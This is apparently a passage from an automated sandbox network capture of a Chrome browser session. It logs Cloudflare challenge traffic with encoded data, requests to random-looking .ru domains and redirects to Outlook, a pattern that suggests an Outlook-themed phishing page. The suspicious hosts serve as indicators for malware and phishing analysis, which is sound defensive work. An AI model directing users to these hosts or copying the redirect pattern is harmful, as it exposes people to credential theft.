2024-12-11 01:08:55 UTC	16384	OUT	Data Raw: 76 5f 38 66 30 31 39 35 39 33 64 39 30 37 66 35 66 34 3d 4e 44 4d 7a 31 77 54 30 41 77 41 72 44 58 30 56 6a 55 58 68 7a 75 45 61 41 35 25 32 62 77 63 58 6e 7a 67 56 37 77 58 4f 7a 37 6c 41 4d 58 33 58 7a 7a 5a 45 72 7a 58 46 4d 58 67 31 7a 38 41 58 65 58 5a 6e 54 58 54 62 58 73 6c 6b 2d 4d 58 72 6c 46 58 44 7a 67 59 72 58 4a 54 5a 4d 54 50 35 57 7a 37 59 6a 72 58 61 44 58 67 35 4a 6a 54 5a 4e 58 37 6a 58 36 6e 58 37 72 4c 7a 4d 41 58 49 58 77 44 58 35 73 73 37 47 64 58 51 55 58 41 55 55 58 38 6c 38 54 54 5a 35 4c 61 64 55 35 6e 74 35 58 77 70 54 41 47 35 4c 62 77 5a 35 58 64 4c 38 61 69 77 65 35 67 4d 6a 6e 37 64 65 77 58 77 35 58 65 4d 46 58 62 4d 58 6c 34 4b 45 4d 6d 6f 59 2d 36 6f 66 58 75 63 6e 75 65 5a 4e 4b 36 4b 4a 57 42 2b 55 78 7a 6a 4e 48 48 32 Data Ascii: v_8f019593d907f5f4=NDMz1wT0AwArDX0VjUXhzuEaA5%2bwcXnzgV7wXOz7lAMX3XzzZErzXFMXg1z8AXeXZnTXTbXslk-MXrlFXDzgYrXJTZMTP5Wz7YjrXaDXg5JjTZNX7jX6nX7rLzMAXIXwDX5ss7GdXQUXAUUX8l8TTZ5LadU5nt5XwpTAG5LbwZ5XdL8aiwe5gMjn7dewXw5XeMFXbMXl4KEMmoY-6ofXucnueZNK6KJWB+UxzjNHH2
2024-12-11 01:08:55 UTC	16384	OUT	Data Raw: 7a 58 70 64 59 58 4c 58 72 7a 61 61 37 45 7a 34 45 6a 4d 38 7a 67 7a 58 35 56 38 58 6c 7a 67 4d 58 38 58 75 58 35 7a 54 72 58 61 7a 75 45 77 24 58 65 7a 73 78 32 4b 58 54 58 6e 38 54 51 58 72 41 54 59 54 65 7a 42 63 37 58 54 36 7a 38 64 4f 4e 77 52 58 77 7a 4e 58 61 46 58 50 58 35 56 54 45 7a 57 58 54 59 37 6f 56 4a 58 58 58 54 33 79 7a 6e 45 58 70 58 38 58 54 56 58 52 58 64 7a 72 67 74 6a 58 47 58 77 24 58 24 58 66 2d 37 45 58 2b 58 6b 7a 54 59 37 6f 58 74 64 62 77 54 24 58 37 58 58 58 58 79 42 7a 6e 65 37 49 47 2b 7a 6e 50 54 44 58 79 7a 67 7a 37 4e 58 6a 53 58 64 58 44 58 30 58 38 4f 44 63 58 32 7a 6e 41 58 32 58 56 58 5a 56 58 7a 58 75 7a 38 56 58 51 7a 55 7a 2d 59 58 62 58 6c 7a 75 6a 58 41 58 4b 49 75 49 65 65 58 66 2d 61 4d 77 54 46 6a 4d 37 45 58 Data Ascii: zXpdYXLXrzaa7Ez4EjM8zgzX5V8XlzgMX8XuX5zTrXazuEw$Xezsx2KXTXn8TQXrATYTezBc7XT6z8dONwRXwzNXaFXPX5VTEzWXTY7oVJXXXT3yznEXpX8XTVXRXdzrgtjXGXw$X$Xf-7EX+XkzTY7oXtdbwT$X7XXXXyBzne7IG+znPTDXyzgz7NXjSXdXDX0X8ODcX2znAX2XVXZVXzXuz8VXQzUz-YXbXlzujXAXKIuIeeXf-aMwTFjM7EX
2024-12-11 01:08:55 UTC	1727	OUT	Data Raw: 47 69 6e 36 74 6f 61 6a 54 57 54 6b 6c 6b 64 37 75 5a 53 43 4c 59 58 6c 64 52 6f 76 74 58 70 58 46 35 53 61 67 39 72 39 37 33 4c 72 49 49 62 6e 32 70 4b 39 4c 68 53 70 73 2b 52 58 4c 64 64 76 31 43 37 78 48 4b 69 4b 52 4b 4d 41 72 2b 39 59 6b 6f 34 74 78 50 48 4b 72 7a 38 59 7a 45 36 30 7a 35 58 37 6f 7a 5a 45 37 49 58 44 58 43 47 4b 45 58 39 58 30 4d 67 2b 58 39 6e 4f 64 47 42 37 7a 57 4b 4d 54 73 58 6a 34 72 64 77 24 58 62 58 66 2d 61 6a 58 5a 66 51 6a 6c 36 6e 70 58 44 47 45 64 4b 2b 58 37 7a 62 58 6f 66 75 74 38 6b 4a 35 76 50 6b 41 35 43 61 46 7a 39 61 39 45 37 4d 33 68 68 4b 65 2b 67 58 78 33 47 45 55 35 31 66 44 75 47 6e 52 58 6c 46 56 42 2b 42 58 4e 4d 77 24 54 65 7a 50 66 30 30 37 59 70 2d 24 6d 7a 37 42 54 6a 4d 61 7a 2d 6b 54 50 58 37 53 37 72 Data Ascii: Gin6toajTWTklkd7uZSCLYXldRovtXpXF5Sag9r973LrIIbn2pK9LhSps+RXLddv1C7xHKiKRKMAr+9Yko4txPHKrz8YzE60z5X7ozZE7IXDXCGKEX9X0Mg+X9nOdGB7zWKMTsXj4rdw$XbXf-ajXZfQjl6npXDGEdK+X7zbXofut8kJ5vPkA5CaFz9a9E7M3hhKe+gXx3GEU51fDuGnRXlFVB+BXNMw$TezPf007Yp-$mz7BTjMaz-kTPX7S7r
2024-12-11 01:08:56 UTC	286	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4504 Connection: close cf-chl-out: 41OcQCooT6CKkoR1UqcO65A7yiZR9AsWxQjuJLh7nIL8ZG6IOGrTc2vr65lOP4XfpTbjenbwzhALkOcJazhE4PtVwF/otzpppYoRiYVNhUTTA+uYK1ig+g4=$jVCymnrfCofyG8Gz
2024-12-11 01:08:56 UTC	1203	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 44 56 62 70 61 64 75 32 50 48 45 4b 72 72 6b 63 7a 78 56 39 47 6f 59 5a 51 68 53 6d 30 2b 36 38 77 42 43 6a 6e 65 78 63 66 6d 74 77 48 71 6e 41 58 4d 79 4f 70 2f 41 37 59 4f 4f 54 70 56 32 66 78 6a 6a 33 44 58 69 38 43 47 44 54 77 61 35 62 6b 42 70 34 6d 48 30 47 5a 4a 51 71 47 59 36 33 2b 74 50 56 79 43 6e 2b 52 61 47 4a 76 32 38 4d 62 34 70 7a 4c 47 4a 31 6c 4f 33 51 2b 74 4f 43 4d 47 41 34 76 4c 32 30 6a 51 53 45 56 51 6a 46 71 33 78 47 31 42 4d 44 58 47 4f 2b 74 70 64 2b 67 2f 73 74 37 2f 33 61 63 62 63 59 46 6c 61 30 55 4e 4a 61 65 37 7a 30 6a 32 67 4a 4b 78 67 75 4e 70 4e 59 50 4b 4c 6e 74 4c 58 68 6d 69 45 2b 6a 49 62 59 53 58 73 59 33 6a 42 4e 62 56 6f 56 74 48 54 61 66 70 51 74 51 56 52 32 53 56 39 6f 41 Data Ascii: cf-chl-out-s: DVbpadu2PHEKrrkczxV9GoYZQhSm0+68wBCjnexcfmtwHqnAXMyOp/A7YOOTpV2fxjj3DXi8CGDTwa5bkBp4mH0GZJQqGY63+tPVyCn+RaGJv28Mb4pzLGJ1lO3Q+tOCMGA4vL20jQSEVQjFq3xG1BMDXGO+tpd+g/st7/3acbcYFla0UNJae7z0j2gJKxguNpNYPKLntLXhmiE+jIbYSXsY3jBNbVoVtHTafpQtQVR2SV9oA
2024-12-11 01:08:56 UTC	1249	IN	Data Raw: 66 4b 61 45 74 59 6d 69 70 4a 75 59 7a 5a 79 6c 6b 70 75 4d 71 72 2f 53 6b 73 72 55 31 36 75 33 72 73 69 5a 6c 37 48 55 72 4f 43 39 31 36 69 7a 78 4f 79 35 77 72 72 6e 72 65 72 6a 78 4c 37 51 35 38 6a 43 31 75 37 62 2f 4f 66 7a 35 38 33 42 79 75 37 41 42 50 48 6f 78 41 62 7a 41 67 4d 50 41 50 72 72 44 76 6f 49 37 66 50 79 39 50 48 7a 2b 76 62 39 39 76 58 37 43 51 34 63 44 66 50 35 4a 2f 76 37 2f 43 77 4e 46 79 72 39 43 76 67 64 42 41 73 49 4b 4f 77 59 4d 43 62 35 45 77 55 53 2f 54 77 41 43 67 73 79 2f 44 41 77 52 45 6f 34 41 6b 67 63 46 77 64 4c 53 69 77 4e 4b 69 68 46 4b 56 46 44 55 43 63 74 4d 46 63 73 58 32 49 63 59 54 73 74 4f 6a 64 48 4d 69 41 69 4f 79 63 75 52 55 4a 64 53 58 42 44 50 57 42 56 56 7a 52 69 64 6b 56 61 5a 6d 74 50 62 31 4d 2f 64 55 31 Data Ascii: fKaEtYmipJuYzZylkpuMqr/SksrU16u3rsiZl7HUrOC916izxOy5wrrnrerjxL7Q58jC1u7b/Ofz583Byu7ABPHoxAbzAgMPAPrrDvoI7fPy9PHz+vb99vX7CQ4cDfP5J/v7/CwNFyr9CvgdBAsIKOwYMCb5EwUS/TwACgsy/DAwREo4AkgcFwdLSiwNKihFKVFDUCctMFcsX2IcYTstOjdHMiAiOycuRUJdSXBDPWBVVzRidkVaZmtPb1M/dU1
2024-12-11 01:08:56 UTC	1369	IN	Data Raw: 54 4d 75 58 6a 4e 77 61 43 39 36 5a 44 4a 50 66 6e 68 65 51 58 78 58 57 33 63 2b 63 49 46 66 57 59 70 47 65 6d 42 2f 61 31 70 4b 6a 55 36 46 5a 32 74 53 63 5a 4f 46 6b 6f 79 65 65 58 75 61 64 48 31 32 6f 33 56 6d 59 6f 70 69 70 61 57 5a 61 61 2b 44 6e 61 75 4d 62 6f 70 74 73 6d 36 69 64 48 71 71 72 6e 69 37 6b 35 65 50 76 70 70 38 77 5a 42 2f 74 5a 6d 6c 6e 6f 6e 49 79 63 33 43 69 6f 58 52 7a 74 4b 72 69 70 69 72 72 74 43 5a 72 71 6e 59 6d 64 36 69 32 4a 76 6a 70 4b 47 6a 35 72 36 65 71 36 6e 43 77 75 37 73 73 36 76 69 39 2f 50 31 30 4c 58 32 2b 4c 54 33 76 2b 6e 52 76 63 33 57 76 77 49 43 32 4f 66 63 35 64 66 73 78 73 45 46 79 75 51 4f 43 67 54 6f 41 75 73 4c 46 2b 37 56 47 74 72 70 37 74 6b 66 48 65 37 6a 34 64 6b 6c 4a 75 55 73 41 53 58 6e 42 53 73 71 Data Ascii: TMuXjNwaC96ZDJPfnheQXxXW3c+cIFfWYpGemB/a1pKjU6FZ2tScZOFkoyeeXuadH12o3VmYopipaWZaa+DnauMboptsm6idHqqrni7k5ePvpp8wZB/tZmlnonIyc3CioXRztKripirrtCZrqnYmd6i2JvjpKGj5r6eq6nCwu7ss6vi9/P10LX2+LT3v+nRvc3WvwIC2Ofc5dfsxsEFyuQOCgToAusLF+7VGtrp7tkfHe7j4dklJuUsASXnBSsq
2024-12-11 01:08:56 UTC	1369	IN	Data Raw: 52 36 4d 54 4e 4e 4e 48 31 2b 56 55 71 42 65 6b 35 4f 51 49 42 2f 68 6b 68 73 67 6b 5a 39 62 34 78 77 68 59 6d 46 6a 57 46 68 6b 49 53 48 6d 58 68 58 6d 6f 69 67 58 5a 36 59 57 31 2b 52 5a 6f 43 72 6c 6d 6c 70 72 35 2b 4d 72 32 70 76 64 4b 53 32 6d 49 4f 4d 72 35 74 7a 62 34 6d 5a 6b 4a 79 53 73 37 36 65 68 4c 47 63 6e 36 53 38 6c 49 79 6b 77 49 65 4e 70 73 57 67 31 61 53 4f 30 73 71 7a 32 6f 37 57 74 61 33 61 32 5a 2b 69 6d 39 32 35 73 4d 54 61 73 39 6e 68 37 4c 72 74 71 72 44 45 76 64 44 73 76 2f 62 78 38 4d 76 45 38 76 53 37 73 66 72 5a 7a 66 37 4d 2f 4e 65 35 34 41 50 54 34 2b 66 4d 33 4f 6a 72 79 64 73 41 46 75 33 67 38 42 66 75 35 39 48 37 32 64 41 63 32 77 44 68 2b 66 67 65 34 2f 7a 77 48 66 76 31 44 42 2f 70 35 51 45 70 2f 69 44 79 39 41 41 32 4c Data Ascii: R6MTNNNH1+VUqBek5OQIB/hkhsgkZ9b4xwhYmFjWFhkISHmXhXmoigXZ6YW1+RZoCrlmlpr5+Mr2pvdKS2mIOMr5tzb4mZkJySs76ehLGcn6S8lIykwIeNpsWg1aSO0sqz2o7Wta3a2Z+im925sMTas9nh7LrtqrDEvdDsv/bx8MvE8vS7sfrZzf7M/Ne54APT4+fM3OjrydsAFu3g8Bfu59H72dAc2wDh+fge4/zwHfv1DB/p5QEp/iDy9AA2L
2024-12-11 01:08:56 UTC	517	IN	Data Raw: 51 56 45 46 2f 51 6e 78 57 68 6c 74 2b 53 57 52 73 68 6c 6d 4f 57 34 39 63 67 47 68 71 59 59 64 33 57 47 53 58 57 70 74 78 64 6f 71 56 62 35 4f 61 6a 58 6c 2b 5a 70 74 63 67 61 4b 4b 61 35 32 45 6a 6f 4b 4c 6f 61 71 48 6b 5a 53 58 65 62 65 59 6a 6f 75 38 6b 37 6d 43 6d 73 4b 59 6d 4d 57 32 70 6f 6a 4a 7a 61 4b 45 76 36 2f 4e 69 61 6e 4f 76 34 7a 54 30 74 47 71 74 64 6e 52 6e 4d 32 2f 31 70 37 50 30 72 57 6c 6d 64 71 39 74 2b 57 6d 35 36 76 46 32 65 6e 41 37 2f 48 76 73 74 44 35 37 63 66 36 38 75 57 36 73 65 6e 35 30 4e 6e 66 2b 38 4d 45 43 76 37 47 43 4f 7a 73 79 2f 76 6e 43 38 38 41 43 67 2f 6b 38 42 49 54 31 52 73 57 46 2b 33 6f 44 68 76 65 45 42 6f 66 34 77 45 66 46 4f 59 6f 43 51 37 39 42 68 73 63 37 67 6f 51 4b 50 4d 6e 4c 78 6e 33 42 54 59 33 2b 68 Data Ascii: QVEF/QnxWhlt+SWRshlmOW49cgGhqYYd3WGSXWptxdoqVb5OajXl+ZptcgaKKa52EjoKLoaqHkZSXebeYjou8k7mCmsKYmMW2pojJzaKEv6/NianOv4zT0tGqtdnRnM2/1p7P0rWlmdq9t+Wm56vF2enA7/HvstD57cf68uW6sen50Nnf+8MECv7GCOzsy/vnC88ACg/k8BIT1RsWF+3oDhveEBof4wEfFOYoCQ79Bhsc7goQKPMnLxn3BTY3+h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49786	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:57 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:57 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 01:08:57 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: e0/NkCrh/PB/KDwetV1UcoGzWvkE48Z3lDs=$6xH4fuo4R7CiDMQi cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f019624494d440b-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:57 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49788	104.21.32.251	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:58 UTC	682	OUT	GET /egwigfkbbmmmvyqqeWuKktXWDuZMRFRAWLPLRADLJEBTXBNHILZLJIMPPZZLCJOCABQJSZBQKEHEWZFX HTTP/1.1 Host: dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://cj.qhggzzwnpfh.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:59 UTC	900	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oR2NAR3P8VtcLYcMi%2BBeBlgl1WZCBg9QN8itNoRsxFZK39dqXERIXddvNJ11XGqww4Bd%2FsbQjeW%2BpNBybVj7FHSxuI42h%2BAhDL45b6xFcaxBK6CEVgbiVSGLscMhcrrRJu4G0YOa3lrz3wp2S2Gt6%2F3MAOEHWs%2FKdRUFzDwBTrUHY42%2FahVa510saDyX%2B5QVFEiEnjs04ICC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f01962e4c915e71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1760&rtt_var=674&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1260&delivery_rate=1606160&cwnd=238&unsent_bytes=0&cid=e49ae905f57e95a9&ts=898&x=0"
2024-12-11 01:08:59 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-11 01:08:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49790	52.98.95.210	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:09:02 UTC	681	OUT	GET / HTTP/1.1 Host: www.outlook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:09:02 UTC	629	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.live.com/ Server: Microsoft-IIS/10.0 request-id: c0759242-12b5-a498-10a9-3d668c07caf3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: DXXP273CA0002 X-RequestId: d2d89029-642e-4c35-92c4-29814d04a12d Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: DXXP273CA0002.AREP273.PROD.OUTLOOK.COM X-FEEFZInfo: DXB MS-CV: QpJ1wLUSmKQQqT1mjAfK8w.0 X-Powered-By: ASP.NET X-FEServer: DXXP273CA0002 Date: Wed, 11 Dec 2024 01:09:04 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49792	104.21.32.251	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:09:02 UTC	474	OUT	GET /egwigfkbbmmmvyqqeWuKktXWDuZMRFRAWLPLRADLJEBTXBNHILZLJIMPPZZLCJOCABQJSZBQKEHEWZFX HTTP/1.1 Host: dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:09:03 UTC	900	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rtiLXDjx12%2Bh8VaE7WL2pijWDHHMOHOkQRXNgMNz8B%2BEN4wd8RS3i8TQb9Y%2FFde64e7CyGaq%2BV9eC82msZVYhpWLcqGXEQNqpPXEMd4SvnrbpGwJwqIv2glFFi5V17JgRFKTd%2BliY7ftsupoNLuTU7rrwntpvEkO7xkeACYtyNbWN%2FEXIswtI3KdHQu4wQP%2BMVoG9goY%2BjE7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0196449ba14283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1600&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1052&delivery_rate=1759036&cwnd=241&unsent_bytes=0&cid=ee2d554993b258bd&ts=889&x=0"
2024-12-11 01:09:03 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-11 01:09:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49793	40.99.70.226	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:09:05 UTC	682	OUT	GET / HTTP/1.1 Host: outlook.live.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:09:05 UTC	633	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://outlook.live.com/owa/ Server: Microsoft-IIS/10.0 request-id: 56a7473e-2740-b2b4-f570-ecfe7d1e5cb3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: DX0P273CA0089 X-RequestId: f3438fe6-35d4-4f98-9f7e-a1c5e068f71e Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: DX0P273CA0089.AREP273.PROD.OUTLOOK.COM X-FEEFZInfo: DXB MS-CV: PkenVkAntLL1cOz+fR5csw.0 X-Powered-By: ASP.NET X-FEServer: DX0P273CA0089 Date: Wed, 11 Dec 2024 01:09:03 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49794	40.99.70.226	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:09:07 UTC	686	OUT	GET /owa/ HTTP/1.1 Host: outlook.live.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:09:08 UTC	2864	IN	HTTP/1.1 302 Cache-Control: no-cache Pragma: no-cache Content-Length: 245 Content-Type: text/html; charset=utf-8 Expires: -1 Location: https://www.microsoft.com/en-us/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook?deeplink=%2fowa%2f&sdf=0 Server: Microsoft-IIS/10.0 request-id: 39e7fb1f-a210-4684-b6d8-87c76f8192a6 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-CalculatedBETarget: DX3P273MB1075.AREP273.PROD.OUTLOOK.COM X-BackEndHttpStatus: 302 Set-Cookie: ClientId=E15F7F532B7F4CBEA81A60572170D6F6; expires=Thu, 11-Dec-2025 01:09:08 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=E15F7F532B7F4CBEA81A60572170D6F6; expires=Thu, 11-Dec-2025 01:09:08 GMT; path=/;SameSite=None; secure Set-Cookie: RoutingKeyCookie=; expires=Sun, 11-Dec-1994 01:09:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Sun, 11-Dec-1994 01:09:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OptInPrg=; expires=Sun, 11-Dec-1994 01:09:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: logonLatency=LGN01=638694761482880043; domain=live.com; path=/; secure; HttpOnly Set-Cookie: ClientId=E15F7F532B7F4CBEA81A60572170D6F6; expires=Thu, 11-Dec-2025 01:09:08 GMT; path=/;SameSite=None; secure Set-Cookie: RoutingKeyCookie=; expires=Sun, 11-Dec-1994 01:09:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Sun, 11-Dec-1994 01:09:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OptInPrg=; expires=Sun, 11-Dec-1994 01:09:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: logonLatency=LGN01=638694761482880043; domain=live.com; path=/; secure; HttpOnly Set-Cookie: X-OWA-RedirectHistory=AmVSIGQBKwQXaoAZ3Qg; expires=Wed, 11-Dec-2024 07:11:08 GMT; path=/;SameSite=None; secure; HttpOnly X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS7 X-OWA-DiagnosticsInfo: 5;0;0; X-BackEnd-Begin: 2024-12-11T01:09:08.288 X-BackEnd-End: 2024-12-11T01:09:08.288 X-DiagInfo: DX3P273MB1075 X-BEServer: DX3P273MB1075 X-UA-Compatible: IE=EmulateIE7 X-ResponseOrigin: OwaAppPool X-Proxy-RoutingCorrectness: 1 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=DXB&RemoteIP=8.46.123.0&Environment=MT"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 302 X-FirstHopCafeEFZ: DXB X-FEProxyInfo: DX0P273CA0079.AREP273.PROD.OUTLOOK.COM X-FEEFZInfo: DXB X-FEServer: DX0P273CA0079 Date: Wed, 11 Dec 2024 01:09:10 GMT Connection: close
2024-12-11 01:09:08 UTC	245	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 65 6e 2d 75 73 2f 6d 69 63 72 6f 73 6f 66 74 2d 33 36 35 2f 6f 75 74 6c 6f 6f 6b 2f 65 6d 61 69 6c 2d 61 6e 64 2d 63 61 6c 65 6e 64 61 72 2d 73 6f 66 74 77 61 72 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 6f 75 74 6c 6f 6f 6b 3f 64 65 65 70 6c 69 6e 6b 3d 25 32 66 6f 77 61 25 32 66 26 61 6d 70 3b 73 64 66 3d 30 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 